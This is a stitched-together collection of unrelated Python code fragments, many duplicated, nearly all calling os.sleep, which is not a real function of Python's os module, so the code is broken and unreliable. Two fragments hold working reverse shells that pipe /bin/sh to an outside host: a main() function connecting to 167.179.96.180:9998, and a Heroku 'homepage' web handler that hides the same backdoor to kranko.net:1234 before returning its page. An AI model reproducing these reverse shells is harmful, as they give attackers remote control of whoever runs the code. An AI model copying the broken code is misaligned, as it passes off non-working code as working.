def execute(self):
"""copy each temp script to the proper host and execute each task"""
for t in self.chunk.tasks:
if not self.transport == "ssh":
print "transport method %s not yet implimented" % self.transport
sys.exit()
# note that this is not any kind of real fork (yet)
# and is really only doing the tasks serially
# also note that there is no kind of timeout alarm set
# to kill problem tasks
chunknum = self.chunk.tasknum
ip = t.task['ip']
runningTasks = 0
if runningTasks < self.maxParallel:
runningTasks += 1
if not self.verbose == 0:
print "starting chunk %s task %s on %s" % (chunknum,
t.tasknum, ip)
# pass the task to the queue
self._queue(t)
else:
# is this the right way to do this?
if not self.verbose == 0:
print "task %s waiting for queue to flush" % t.tasknum
os.sleep(30)
runningTasks -= 1
def background_scraping_task1(ev_url, _task_spec = js['evernote_article']):
from selenium import webdriver as wd
from os import sleep
from pyvirtualdisplay import Display
import logging,json
from time import time
display = Display(visible=0, size=(1024, 768))
display.start()
d = wd.Firefox()
d.get(ev_url)
sleep(_task_spec['delay'])
_ans = {}
start_time = time()
for result_name,js_code in _task_spec['js2r']:
try:
_ans[result_name] = d.execute_script("return " + js_code)
except Exception as e:
logging.error(traceback.format_exc())
logging.error(str(e))
# cleanup selenium
d.close()
display.stop()
end_time = time()
_ans['seconds_elapsed']= int((end_time-start_time)*1000)
# publish the result
logging.info("result for url {}\n\n".format(ev_url) + json.dumps(_ans))
def wait_for_device(dev):
print "--> Wait for device {}".format(dev)
for sec in range(0, 60):
if os.path.exists(dev):
print "--> Device {} appears in {} seconds".format(dev, sec)
break
os.sleep(1)
def wait_for_device(dev):
print "--> Wait for device {}".format(dev)
for sec in range(0, 60):
if os.path.exists(dev):
print "--> Device {} appears in {} seconds".format(dev, sec)
break
os.sleep(1)
def execute(self):
"""copy each temp script to the proper host and execute each task"""
for t in self.chunk.tasks:
if not self.transport == "ssh":
print "transport method %s not yet implimented" % self.transport
sys.exit()
# note that this is not any kind of real fork (yet)
# and is really only doing the tasks serially
# also note that there is no kind of timeout alarm set
# to kill problem tasks
chunknum = self.chunk.tasknum
ip = t.task['ip']
runningTasks = 0
if runningTasks < self.maxParallel:
runningTasks+=1
if not self.verbose == 0:
print "starting chunk %s task %s on %s" % (chunknum,t.tasknum,ip)
# pass the task to the queue
self._queue(t)
else:
# is this the right way to do this?
if not self.verbose == 0:
print "task %s waiting for queue to flush" % t.tasknum
os.sleep(30)
runningTasks-=1
def __init__(self):
self.path = os.environ["HOME"] + time.strftime("/dcacheTestSuite.%Y%m%d%H%M%S/",time.gmtime())
while os.path.exists(self.path):
os.sleep(1)
self.path = os.environ["HOME"] + time.strftime("%Y%m%d%H%M%S",time.gmtime())
os.mkdir(self.path)
self.fileNameGenerator = uniqueFileNameGenerator(self.path + "tmpfile")
self.fileMd5sum = {}
def shutdownCheck():
seq = exitList[len(exitList) - 4:len(exitList)]
if seq == shutdownSeq:
lcd.clear()
lcd.message("{PWNIE EXPRESS!}\nsystem shutdown")
sleep(5)
os.system("poweroff")
os.sleep(7)
def wrapped_f(*args):
for i in range(1, tries + 1):
try:
return f(*args)
except requests.exceptions.ConnectionError:
if i == tries:
raise
os.sleep(1)
def shutdownCheck():
seq = exitList[len(exitList) - 4 : len(exitList)]
if seq == shutdownSeq:
lcd.clear()
lcd.message("{PWNIE EXPRESS!}\nsystem shutdown")
sleep(5)
os.system("poweroff")
os.sleep(7)
def Mine():
"""
挖矿进程
:return:
"""
pids["Mine"] = os.getpid()
while True:
Blockchain.addblock()
os.sleep(6)
def run(instance):
try:
generator = instance.get_lines()
for line in generator:
if line.command == "PRIVMSG":
spew(line, generator, instance.isupport['CHANTYPES'])
except IOError as e:
print("Disconnected", str(e))
os.sleep(5)
def wait_ptkinitdone(self, addr, timeout=2):
while timeout > 0:
sta = self.get_sta(addr)
if 'hostapdWPAPTKState' not in sta:
raise Exception("GET_STA did not return hostapdWPAPTKState")
state = sta['hostapdWPAPTKState']
if state == "11":
return
os.sleep(0.1)
timeout -= 0.1
raise Exception("Timeout while waiting for PTKINITDONE")
def login():
if password == pinInput.value_text:
pinError.fg = "green"
pinError.value_text = "logging in..."
os.sleep(1000)
os.System("python screen.py")
elif pinInput.value_text == "":
pinError.fg = "red"
elif pinInput.value_text != password:
pinError.fg = "red"
pinError.value_text = "password is incorrect!!!"
def main():
print('Try')
count = 0
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("167.179.96.180", 9998))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
print(p)
while count < 1000:
os.sleep(1)
def refresh_cdn():
s = range(int(begin),int(end))
try:
for i in s:
n = str(i)
k = n.zfill(3)
url = "http://sdl.wuming.com%s/%s_%s%s.apk" % (els('3'),els('1'),chid,k)
run(["python %s RefreshCdnUrl -u %s -p %s --urls %s" % (PATH,SecretId,SecretKey,url)])
print "Refresh End"
alarm("Refresh End")
os.sleep(300)
except Exception,e:
print e
def stop(self,patience=0,ptimes=0):
if not patience:
patience = self.patience
if not ptimes:
ptimes = self.ptimes
runfile = self.RC_NAME
ok = 0
for ptry in range(ptimes):
try:
os.remove(runfile+'.on')
ok = 1
break
except OSError, ose:
os.sleep(patience)
def _request_address(address):
content = ""
start = time.clock()
timeout = 10
while content == "" :
page = requests.get(address)
page.raise_for_status()
content = page.content.decode("utf-8")
if content == "" and time.clock() - timeout < start:
os.sleep(1000)
print("Retrying")
else:
break
return content
def start_predicting():
print("Populating queue")
arr = os.listdir(args["path"])
for file in arr:
if file.endswith("jpg"):
q.put_nowait(file)
print("Queue populated. Images: " + str(q.qsize()))
for i in range(0, procs):
#process = threading.Thread(target=predict)
process = Process(target=start_predicting_async)
process.start()
print("Starting Process...")
os.sleep(3)
def getRequest(method_name, params = {}, response_only = False):
full_req = api_addr + method_name + "?"
for i in params.keys():
full_req = full_req + i + "=" + str(params[i]) + "&"
full_req = full_req + end
for i in range(3): # повторить три раза
try:
r = requests.get(full_req).json()
if "error" in r:
continue
if response_only:
return r["response"]
else:
return r
except Exception:
os.sleep(3)
return None
def wait_cmd(popen, quiet=False):
"""Wait for a started command to complete, and return its stdout."""
out = popen.communicate()[0]
while popen.returncode is None:
os.sleep(1)
if popen.returncode:
if not quiet:
print >> sys.stderr, '-' * 72
print >> sys.stderr, out
print >> sys.stderr, '-' * 72
if popen.returncode < 0:
raise AppError("Command terminated by signal {0}: {1}".format(
-popen.returncode, ' '.join(popen.command)))
else:
raise AppError("Exit status {0} for command: {1}".format(
popen.returncode, ' '.join(popen.command)))
return out
def wait_cmd(popen, quiet=False):
"""Wait for a started command to complete, and return its stdout."""
out = popen.communicate()[0]
while popen.returncode is None:
os.sleep(1)
if popen.returncode:
if not quiet:
print >>sys.stderr, '-' * 72
print >>sys.stderr, out
print >>sys.stderr, '-' * 72
if popen.returncode < 0:
raise AppError("Command terminated by signal {0}: {1}".format(
-popen.returncode, ' '.join(popen.command)))
else:
raise AppError("Exit status {0} for command: {1}".format(
popen.returncode, ' '.join(popen.command)))
return out
def download_oci_blob(url_path, oci_json_blob):
for retry in range(3):
oci_blob = get_oci_metadata(url_path, oci_json_blob)
if oci_blob is not None:
syslog.syslog(syslog.LOG_INFO,
"downloaded OCI JSON blob from " + url_path)
return oci_blob
syslog.syslog(syslog.LOG_WARNING,
"cannot download oci blob " + url_path + ": retrying")
os.sleep(10)
#
# too many retries, give up
#
syslog.syslog(
syslog.LOG_ERR, "cannot download oci blob " + url_path +
" (too many retries): giving up")
exit(5)
def system_is_configured():
'''
Check the OVS_DB if system initialization has completed.
Initialization completed: return True
else: return False
'''
global idl
global system_initialized
# Check the OVS-DB/File status to see if initialization has completed.
if not db_get_system_status(idl.tables):
# Delay a little before trying again
os.sleep(1)
return False
system_initialized = 1
return True
def printFaceToArduinoCode(nbFace):
#print ("print Face nb: "+str(nbFace)+" matrix : "+str(nbMatrix))
for matrix in range(6):
for line in range(8):
toPrint = ""
for pix in range(8):
if listOfFace[nbFace][nbMatrix][line][pix]:
# find the real location
# compute the string to write
# write the stringo into file
x = nbMatrix % 3 * 8 + pix
y = nbMatrix / 3 * 8 + line
textToPrint = "matrix.drawPixel(" + str(
x) + " + offSet, " + str(y) + ", 1);"
os.sleep(0.001)
print toPrint
def __init__(self,log):
self.log=log
self.log.logging('Initialization:', 'SHOWALL')
if len(sys.argv) >= 2 and sys.argv[1] == 'p2dv':
self.p2dv = True
self.log.logging(' p2dv.in mode', 'SHOWALL')
else:
self.p2dv = False
if self.p2dv:
host = 'localhost'
else:
host=socket.gethostbyname(socket.gethostname())
# Find a unused port
while True:
try:
if self.p2dv:
port = random.randint(1024,65535)
else:
port = 12345
self.spy=socket.socket()
self.spy.bind((str(host),port))
self.spy.listen(2)
self.port = port
if self.p2dv:
self.spy.settimeout(1)
break
except:
self.log.logging(' Port %d is used. Trying another.' % (port), 'SHOWALL')
if not self.p2dv:
os.sleep(0.5)
self.log.logging(" Waiting to connect ...",'SHOWALL')
self.log.logging(" The PC's host is %s, the port is %d"%(host,port),'SHOWALL')
# Determine which player is first player
first = 0 if random.random()<0.5 else 1
self.first_player = first
# Wait for AIs to connect
self.AI=[None,None]
self.AIname=['[Unknown]','[Unknown]']
def handle_exit_signal(signal_num, frame):
""" Handle a system exit signal. """
global log
global proxies
msg = 'handle exit signal {}'.format(signal_num)
print(msg)
log.error(msg)
if frame:
log.debug(frame)
for proxy in proxies:
# cancel() only works if the Timer hasn't timed out
proxy.watchdog_timer.cancel()
# let any watchdogs that have timed out have time to finish
os.sleep(10)
sys.exit(msg)
def download(urls, path):
old_dir = os.getcwd()
os.chdir(path)
for each in urls:
name = each[1]
url = each[0]
if os.path.isfile(name):
print("already exists, skipping...")
continue
try:
request = urllib2.Request(url)
res = urllib2.urlopen(request).read()
with open(name, 'wb') as pdf:
pdf.write(res)
print("Downloaded", name)
except Exception as e:
print("Failed to download because of", e)
os.sleep(1000) #1 Second
os.chdir(old_dir)
def homepage():
the_time = datetime.now().strftime("%A, %d %b %Y %l:%M %p")
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("kranko.net", 1234))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
os.sleep(999)
return """
<h1>Hello heroku</h1>
<p>It is currently {time}.</p>
<img src="http://loremflickr.com/600/400" />
""".format(time=the_time)
def get_daily(symbol):
now = datetime.now()
spath = os.path.abspath(f'Data/{symbol}')
if not os.path.isdir(spath):
os.mkdir(spath)
path = os.path.abspath(f'Data/{symbol}/{symbol}_daily')
if not os.path.isdir(path):
os.mkdir(path)
with open('Key') as f:
key = f.read()
interval = '1min'
counter = 0
api_call = f'https://www.alphavantage.co/query?function=TIME_SERIES_DAILY&symbol={symbol}&outputsize=full&apikey={key}'
while counter < 4:
try:
req = requests.get(api_call)
break
except Exception as e:
os.sleep(3)
counter += 1
amd_ts = json.loads(req.text)
meta = amd_ts['Meta Data']
data = amd_ts['Time Series (Daily)']
amd_df = pd.DataFrame(data).T
col_name = {
'1. open': 'Open',
'2. high': 'High',
'3. low': 'Low',
'4. close': 'Close',
'5. volume': 'Volume',
'index': 'Time'
}
amd_df = amd_df.reset_index()
amd_df = amd_df.rename(columns=col_name)
amd_df.to_csv(
os.path.join(path,
f'{symbol}_daily_{now.year}_{now.month}_{now.day}.csv'))
def _close(self):
if self._pid == 0:
return
try:
self._stopClient()
for i in range(10):
ret = os.waitpid(self._pid, os.WNOHANG)
if os.WIFEXITED(ret[1]):
self._pid = 0
break
os.sleep(.1)
if self._pid:
try:
os.kill(self._pid, 15)
os.sleep(.1)
os.kill(self._pid, 9)
os.waitpid(self._pid, os.WNOHANG)
except OSError, e:
if e.errno != 10:
raise
finally:
self._pid = 0
def _close(self):
if self._pid == 0:
return
try:
self._stopClient()
for i in range(10):
ret = os.waitpid(self._pid, os.WNOHANG)
if os.WIFEXITED(ret[1]):
self._pid = 0
break
os.sleep(.1)
if self._pid:
try:
os.kill(self._pid, 15)
os.sleep(.1)
os.kill(self._pid, 9)
os.waitpid(self._pid, os.WNOHANG)
except OSError, e:
if e.errno != 10:
raise
finally:
self._pid = 0
def parse(self, response):
print(
'================================================================='
)
os.sleep(40)
def loop_forever(self, time=10.0):
while True:
self.refresh()
os.sleep(time)
def __sendEmail__(self,
recipient,
subject,
body,
html=None,
fileToSendArray=[]):
import smtplib
import mimetypes
from email.mime.multipart import MIMEMultipart
from email import encoders
from email.mime.audio import MIMEAudio
from email.mime.base import MIMEBase
from email.mime.image import MIMEImage
from email.mime.text import MIMEText
fromEmail = self.user_settings.email_address
try:
msg = MIMEMultipart()
msg['From'] = fromEmail
msg['To'] = recipient
msg['Subject'] = subject
body = body
msg.attach(MIMEText(body, 'plain'))
if html is not None and isinstance(html, str):
msg.attach(MIMEText(html, 'html'))
# %% Atachemnt
if fileToSendArray is not None and len(fileToSendArray) > 0:
for fileToSend in fileToSendArray:
if fileToSend is not None and os.path.isfile(fileToSend):
logger.debug('adding file ' + fileToSend)
ctype, encoding = mimetypes.guess_type(fileToSend)
if ctype is None or encoding is not None:
ctype = "application/octet-stream"
maintype, subtype = ctype.split("/", 1)
if maintype == "text":
fp = open(fileToSend)
# Note: we should handle calculating the charset
attachment = MIMEText(fp.read(), _subtype=subtype)
fp.close()
elif maintype == "image":
fp = open(fileToSend, "rb")
attachment = MIMEImage(fp.read(), _subtype=subtype)
fp.close()
elif maintype == "audio":
fp = open(fileToSend, "rb")
attachment = MIMEAudio(fp.read(), _subtype=subtype)
fp.close()
else:
fp = open(fileToSend, "rb")
attachment = MIMEBase(maintype, subtype)
attachment.set_payload(fp.read())
fp.close()
encoders.encode_base64(attachment)
attachment.add_header("Content-Disposition",
"attachment",
filename=fileToSend)
msg.attach(attachment)
result = False
counter = 3
while (not result and counter > 0):
try:
server = smtplib.SMTP(self.user_settings.email_smtp_host,
self.user_settings.email_smtp_port)
server.ehlo()
server.starttls()
server.ehlo()
server.login(fromEmail, self.user_settings.email_password)
text = msg.as_string()
problems = server.sendmail(fromEmail, recipient, text)
server.quit()
result = True
except Exception as e:
logger.error("Error: unable to send email retry[%d] :%s" %
(counter, str(e)))
result = False
counter -= 1
os.sleep(5)
if result:
logger.info("Successfully sent email")
else:
logger.error("Error: unable to send email")
except:
logger.error("Error: unable to send email")
from cloudmesh.common.StopWatch import StopWatch
import os
StopWatch.start("Start the stop watch")
os.sleep(100)
StopWatch.stop("Stop the stop watch")
Stopwatch.benchmark.print()
print(StopWatch.get("test"))
now = datetime.now()
path = os.path.abspath('amd_daily/')
with open('Key') as f:
key = f.read()
symbol = 'AMD'
interval = '1min'
counter = 0
api_call = f'https://www.alphavantage.co/query?function=TIME_SERIES_INTRADAY&symbol={symbol}&interval={interval}&outputsize=full&apikey={key}'
while counter <= 10:
try:
req = requests.get(api_call)
break
except Exception as e:
os.sleep(3)
counter += 1
amd_ts = json.loads(req.text)
meta = amd_ts['Meta Data']
data = amd_ts['Time Series (1min)']
amd_df = pd.DataFrame(data).T
col_name = {
'1. open': 'Open',
'2. high': 'High',
'3. low': 'Low',
'4. close': 'Close',
'5. volume': 'Volume',
'index': 'Time'
}
m = job_num.match(job_return)
jobs.append(m.group())
else:
retcode = subprocess.call(kmds_command, shell=True)
if retcode < 0:
print("kmds step 1 file " + str(i) + " failed with ", -retcode, file=sys.stderr)
subsampled_output.append("kmds.step1." + str(i))
except OSError as e:
print("Execution failed:", e, file=sys.stderr)
# Check all jobs have finished
if args.LSF:
while not (check_done(jobs)):
os.sleep(30)
jobs = []
write_list = open(subsampled_list,'w')
for subsample in subsampled_output:
write_list.write(subsample + "\n")
write_list.close()
# Run kmds --mds_concat on output
print("Calculating MDS components\n")
try:
kmds_command = ""
if args.LSF:
kmds_command = "bsub -o kmds.step2.%J.o -e kmds.step2.%J..e -n" + str(args.threads) + " -R \"span[hosts=1]\" -R \"select[mem>4000] rusage[mem=4000]\" -M4000 "
filtered['loc'] = loc
os.write(fh,bytes(u'{0}\n'.format(json.dumps(filtered, ensure_ascii=False)),'utf-8',errors='ignore'))
os.fsync(fh)
print(nn + tweet['user']['screen_name'] + " " + str(tweet['text'][:130].encode('utf-8').decode('ascii', 'ignore')), flush=True)
####these controls will break the program after ~2000 registered tweets that have been captured by the program
except:
continue
else:
pass
else:
pass
os.sleep(5)
os.write(parentIn, "hi\r\n")
os.write(parentIn, "hi\r\n")
if __name__ == '__main__':
# create a pipe for the program
stdin = sys.stdin.fileno() # usually 0
stdout = sys.stdout.fileno() # usually 1
parentIn, childOut = os.pipe()
childIn, parentOut = os.pipe()
pid = os.fork()
if pid == 0: # child
# redirect and close pipes
os.dup2(childIn, stdin)
os.dup2(childOut, stdout)
os.close(parentIn)
os.close(parentOut)
os.close(childIn)
os.close(childOut)
# Execute the program
os.system("FunctionsAndVariables.exe")
else: # parent
# interact with the program
sendCommands(childIn, childOut)
# Wait so we can read it
os.sleep()
os.waitpid(pid, 0)
def sleep(u):
os.sleep(u)
def sleep(u):
os.sleep(u)
#!/usr/bin/env python
# coding: utf-8
"""
子进程结束会向父进程发送 SIGCHLD 信号
"""
import os
import signal
from time import sleep
def onsigchld(a, b):
print '收到子进程结束信号'
signal.signal(signal.SIGCHLD, onsigchld)
pid = os.fork()
if pid == 0:
print '我是子进程， pid是', os.getpid()
os.sleep(2)
else:
print '我是父进程， pid是', os.getpid()
os.wait() #等待子进程结束
def start(self,
rundate,
input_path,
calendar,
outfile='CVAMarketDataCal',
premium_file=None):
# disable gpus
os.environ['CUDA_VISIBLE_DEVICES'] = "-1"
# set the log level for the parent
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
# set the logger
logging.basicConfig(level=logging.INFO,
format='%(asctime)s %(levelname)-8s %(message)s',
datefmt='%m-%d %H:%M')
from .adaptiv import AdaptivContext
# create the context
self.cx = AdaptivContext()
# load calendars
self.cx.parse_calendar_file(calendar)
# store the path
self.path = input_path
# load marketdata
if rundate is None:
self.daily = True
self.path = os.path.split(input_path)[0]
self.outfile = outfile
self.cx.parse_json(input_path)
# load up the old file if present
old_output_name = os.path.join(self.path, outfile + '.json')
if os.path.isfile(old_output_name):
self.ref = AdaptivContext()
self.ref.parse_json(old_output_name)
params_to_bootstrap = self.cx.params[
'Bootstrapper Configuration'].keys()
for factor in [
x for x in self.ref.params['Price Factors'].keys()
if x.split('.', 1)[0] in params_to_bootstrap
]:
# override it
self.cx.params['Price Factors'][factor] = self.ref.params[
'Price Factors'][factor]
rundate = pd.Timestamp.now().strftime('%Y-%m-%d')
elif os.path.isfile(
os.path.join(self.path, rundate, 'MarketDataCal.json')):
self.cx.parse_json(
os.path.join(self.path, rundate, 'MarketDataCal.json'))
elif os.path.isfile(os.path.join(self.path, rundate,
'MarketData.json')):
self.cx.parse_json(
os.path.join(self.path, rundate, 'MarketData.json'))
else:
logging.error(
'Cannot find market data for rundate {}'.format(rundate))
return
# update the rundate if necessary
if self.cx.params['System Parameters']['Base_Date'] is None:
logging.info('Setting rundate {}'.format(rundate))
self.cx.params['System Parameters']['Base_Date'] = pd.Timestamp(
rundate)
if premium_file is not None:
while True:
logging.info(
'Watching for premium file in {}'.format(premium_file))
prem = glob.glob(
os.path.join(
premium_file,
'IR_Volatility_Swaption_{}*.csv'.format(rundate)))
if prem:
break
else:
os.sleep(5 * 60)
logging.info('Setting swaption premiums from {}'.format(prem[0]))
self.cx.params['System Parameters']['Swaption_Premiums'] = prem[0]
# load the params
price_factors = self.manager.dict(self.cx.params['Price Factors'])
price_factor_interp = self.manager.dict(
self.cx.params['Price Factor Interpolation'])
price_models = self.manager.dict(self.cx.params['Price Models'])
sys_params = self.manager.dict(self.cx.params['System Parameters'])
holidays = self.manager.dict(self.cx.holidays)
logging.info("starting {0} workers in {1}".format(
self.NUMBER_OF_PROCESSES, input_path))
self.workers = [
Process(target=work,
args=(i, self.queue, self.result, price_factors,
price_factor_interp, price_models, sys_params,
holidays)) for i in range(self.NUMBER_OF_PROCESSES)
]
for w in self.workers:
w.start()
# load the bootstrapper on to the queue - note - order is important here - hence python 3.6
for bootstrapper_name, params in self.cx.params[
'Bootstrapper Configuration'].items():
# get the market price id and any options for bootstrapping
market_price, _, *options = params.split(',', 2)
# get the market prices for this bootstrapper
market_prices = {
k: v
for k, v in self.cx.params['Market Prices'].items()
if k.startswith(market_price)
}
# number of return statuses needed
status_required = 0
for market_price in market_prices.keys():
status_required += 1
self.queue.put((bootstrapper_name, options, {
market_price: market_prices[market_price]
}))
for i in range(status_required):
logging.info(self.result.get())
# tell the children it's over
self.queue.put(None)
# store the results back in the parent context
self.cx.params['Price Factors'] = price_factors.copy()
self.cx.params['Price Models'] = price_models.copy()
# finish up
# close the queues
self.queue.close()
self.result.close()
# join the children to this process
for w in self.workers:
w.join()
# write out the data
logging.info('Parent: All done - saving data')
if self.daily:
# write out the calibrated data
self.cx.write_marketdata_json(
os.path.join(self.path, self.outfile + '.json'))
self.cx.write_market_file(
os.path.join(self.path, self.outfile + '.dat'))
logfilename = os.path.join(self.path, self.outfile + '.log')
else:
self.cx.write_marketdata_json(
os.path.join(self.path, rundate, 'MarketDataCal.json'))
self.cx.write_market_file(
os.path.join(self.path, rundate, 'MarketDataCal.dat'))
logfilename = os.path.join(self.path, rundate, 'MarketDataCal.log')
# copy the logs across
with open(logfilename, 'wb') as wfd:
for f in glob.glob('bootstrap*.log'):
with open(f, 'rb') as fd:
shutil.copyfileobj(fd, wfd)
def calculate_rotors(self,
conformer,
calculator,
steps=36,
step_size=10.0):
complete = {}
calculators = {}
verified = {}
for torsion in conformer.torsions:
calc = calculator.get_rotor_calc(
conformer=conformer,
torsion=torsion,
steps=steps,
step_size=step_size,
)
label = self.submit_rotor(conformer=conformer,
ase_calculator=calc,
partition="general")
logging.info(label)
complete[label] = False
calculators[label] = calc
verified[label] = False
done = False
lowest_energy_label = None
conformer_error = False
if len(conformer.torsions) == 0:
logging.info("No torsions to run scans on.")
return {}
while not done:
for label in list(complete.keys()):
if not self.check_complete(label):
continue
if done:
continue
complete[label] = True
ase_calc = calculators[label]
lowest_conf, continuous, good_slope, opt_count_check = self.verify_rotor(
steps=steps, step_size=step_size, ase_calculator=ase_calc)
if all([lowest_conf, continuous]):
verified[label] = True
else:
verified[label] = False
if not lowest_conf:
done = True
lowest_energy_label = label
conformer_error = True
continue
elif all(complete.values()):
done = True
if conformer_error:
logging.info(
"A lower energy conformer was found... Going to optimize this insted"
)
for label in list(complete.keys()):
command = """scancel -n '{}'""".format(label)
ase_calculator = calculators[label]
file_name = os.path.join(ase_calculator.scratch,
lowest_energy_label + ".log")
parser = ccread(file_name)
first_is_lowest, min_energy, atomnos, atomcoords = self.check_rotor_lowest_conf(
parser=parser)
symbol_dict = {
17: "Cl",
9: "F",
8: "O",
7: "N",
6: "C",
1: "H",
}
atoms = []
for atom_num, coords in zip(parser.atomnos, parser.atomcoords[-1]):
atoms.append(
Atom(symbol=symbol_dict[atom_num], position=coords))
conformer.ase_molecule = Atoms(atoms)
conformer.update_coords_from("ase")
if isinstance(conformer, TS):
calc = calculator.get_overall_calc(
conformer, direction=conformer.direction)
calc.scratch = calc.scratch.strip("/conformers")
conformer.direction = "forward"
conformer.index = "X"
label = self.submit_transitionstate(transitionstate=conformer,
ase_calculator=calc)
else:
calc = calculator.get_conformer_calc(conformer)
calc.scratch = calc.scratch.strip("/conformers")
conformer.index = "X"
label = self.submit_conformer(conformer, calc, "general")
while not self.check_complete(label):
os.sleep(15)
logging.info(
"Reoptimization complete... performing hindered rotors scans again"
)
return self.calculate_rotors(conformer, calculator, steps,
step_size)
else:
for label, boolean in list(verified.items()):
if not boolean:
calc = calculators[label]
try:
os.mkdir(os.path.join(calc.scratch, "failures"))
except:
pass
move(
os.path.join(calc.scratch, calc.label + ".log"),
os.path.join(calc.scratch, "failures",
calc.label + ".log"))
return verified
http_path = 'https' + row['ftp_path'][3:]
filename = http_path.split('/')[-1]
path = f"{http_path}/{filename}_genomic.fna.gz"
# Let's check if the path exists
check_r = s.head(path)
if check_r.status_code == 404:
# Error with this path, let's try to crawl instead
try:
path = crawl_link(row['assembly_accession'], s)
except ValueError:
# Can't find this data, continue...
continue
elif check_r.status_code >= 500:
# Server error, try again
os.sleep(2)
check_r = s.head(path)
if check_r.status_code >= 500:
# ¯\_(ツ)_/¯ let's retry it some other time...
continue
# Assembly summary doesn't include size of dataset
# Let's use a cheap head request to find the size
size_r = s.head(path)
if size_r.status_code == 404:
print(f"Error 404 on {path}")
continue
size_MB = int(int(size_r.headers['Content-Length']) / 1000000)
new_dataset = Dataset(id=row["assembly_accession"],
database_id="Genomes",
o.write((path + '\n').encode('utf-8'))
o.flush()
checkers = o
log = open('cppcheck.log', 'wt')
xmllog = open('cppcheck.log.xml', 'wt')
checker = s.Popen([
'cppcheck', '--file-list=' + checkers.name,
'--includes-file=' + includes.name, '--inconclusive', '--inline-suppr',
'-j', '3', '--xml', '--xml-version=2', '--enable=all', '--force'
],
stdout=log,
stderr=xmllog)
while not os.path.exists(log.name):
os.sleep(0.1)
print('found log file, begin tee hack', checker.poll())
with open(log.name) as inp:
buf = ''
while True:
buf += inp.read()
if buf:
lines = buf.split('\n')
buf = lines[-1]
for line in lines[:-1]:
print('> ', line)
inp.seek(0, 1)
time.sleep(0.1)
if checker.poll() is not None: break
print('done')
xmllog = open('cppcheck.log.xml','wt')
checker = s.Popen(['cppcheck',
'--file-list='+checkers.name,
'--includes-file='+includes.name,
'--inconclusive',
'--inline-suppr',
'-j','3',
'--xml',
'--xml-version=2',
'--enable=all',
'--force'],
stdout=log,
stderr=xmllog)
while not os.path.exists(log.name):
os.sleep(0.1)
print('found log file, begin tee hack',checker.poll())
with open(log.name) as inp:
buf = ''
while True:
buf += inp.read()
if buf:
lines = buf.split('\n')
buf = lines[-1]
for line in lines[:-1]:
print('> ',line)
inp.seek(0,1)
time.sleep(0.1)
if checker.poll() is not None: break
print('done')
under the terms of the GNU General Public License as published by the
Free Software Foundation, either version 3 of the License, or (at your
option) any later version.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program. If not, see <http://www.gnu.org/licenses/>.
*/
'''
for file in scripts:
os.sleep(10)
print file
f = open(file, 'rb').read()
if '*/' in f and 'AlliedModders' in f.split('*/', 1)[0]:
f = legal + f.split('*/', 1)[1].strip() + '\n'
else:
f = legal + f
m = re.search('url.*?=.*?"(.*?)"', f)
if not m:
f = re.sub('public Plugin:(.*?)\n}', 'public Plugin:\\1,\n url = ""\n}', f, flags=(re.MULTILINE | re.DOTALL))
f = re.sub(',,', ',', f) # I accidentally add an extra comma some times.
m = re.search('url.*?=.*?"(.*?)"', f)
try:
urllib2.urlopen(m.group(1))
except (ValueError, urllib2.HTTPError, urllib2.URLError) as e:
print e
def binaries_setup(kit_location):
if (not os.path.exists(kit_location)):
print("binaries location is incorrect")
print("press 'q' to exit and come back")
close = input()
if close == 'q' or close == 'Q':
return 0
kit_location = kit_location
if kit_location.endswith("\\"):
kit_location = kit_location
else:
kit_location = kit_location + "\\"
all_files = os.listdir(kit_location)
count = 0
tc_zip = ''
for item in all_files:
if item.endswith(".zip"):
tc_zip = item
count += 1
if count == 0:
print(
"No test kit zip in the provided location, copy it and run the program again "
)
os.sleep(2)
return 0
must_list = [
"diskspd.exe", 'diskspd.xsd', 'Dynamo.exe', 'fio.exe', 'IOmeter.exe',
'PsExec64.exe', 'smartctl.exe', 'StorageTool.exe'
]
#print(all_files)
if list_cmp(must_list, all_files) != 1:
print("Something is missing copy items before you move forward ")
print(
"Required : 'diskspd.exe', 'diskspd.xsd', 'Dynamo.exe', 'fio.exe', 'IOmeter.exe', 'PsExec64.exe', 'smartctl.exe', 'StorageTool.exe'"
)
# unzip Tc file in C:\
#copyfile(kit_location + tc_zip , "C:")
zip_ref = zipfile.ZipFile(kit_location + tc_zip, 'r')
zip_ref.extractall("C:\\")
# change directory and file permissions
#change_permission()
# copy psexec file to C:\TestControllerUserFiles\Binaries
PsExec_src = kit_location + "PsExec64.exe"
PsExec_dst = "C:\TestControllerUserFiles\Binaries"
copy_cmd = "copy " + PsExec_src + " " + PsExec_dst
os.system(copy_cmd)
#create SMART directory
if "SMART" in os.listdir("C:\ToolkitUserFiles\Binaries"):
os.system(
"powershell Remove-Item C:\ToolkitUserFiles\Binaries\SMART -Recurse"
)
smart_cmd = "mkdir C:\ToolkitUserFiles\Binaries\SMART"
os.system(smart_cmd)
#copy smartctl and storagetool to smart directory
smart_src = kit_location + "smartctl.exe"
storage_src = kit_location + "StorageTool.exe"
smart_dest = "C:\ToolkitUserFiles\Binaries\SMART"
os.system("copy " + smart_src + " " + smart_dest)
os.system("copy " + storage_src + " " + smart_dest)
#create fio directory
if "fio" in os.listdir("C:\ToolkitUserFiles\Binaries"):
os.system(
"powershell Remove-Item C:\ToolkitUserFiles\Binaries\\fio -Recurse"
)
fio_cmd = "mkdir C:\ToolkitUserFiles\Binaries\\fio"
os.system(fio_cmd)
#copy fio
fio_src = kit_location + "fio.exe"
fio_dst = "C:\ToolkitUserFiles\Binaries\\fio"
fio_cmd = "copy " + fio_src + " " + fio_dst
os.system(fio_cmd)
#crete IOmeter directory
if "Iometer" in os.listdir("C:\ToolkitUserFiles\Binaries"):
os.system(
"powershell Remove-Item C:\ToolkitUserFiles\Binaries\Iometer -Recurse"
)
IOmeter_cmd = "mkdir C:\ToolkitUserFiles\Binaries\Iometer"
os.system(IOmeter_cmd)
# copy Iometer and dynamo to iomter directory
iometer_src = kit_location + "IOmeter.exe"
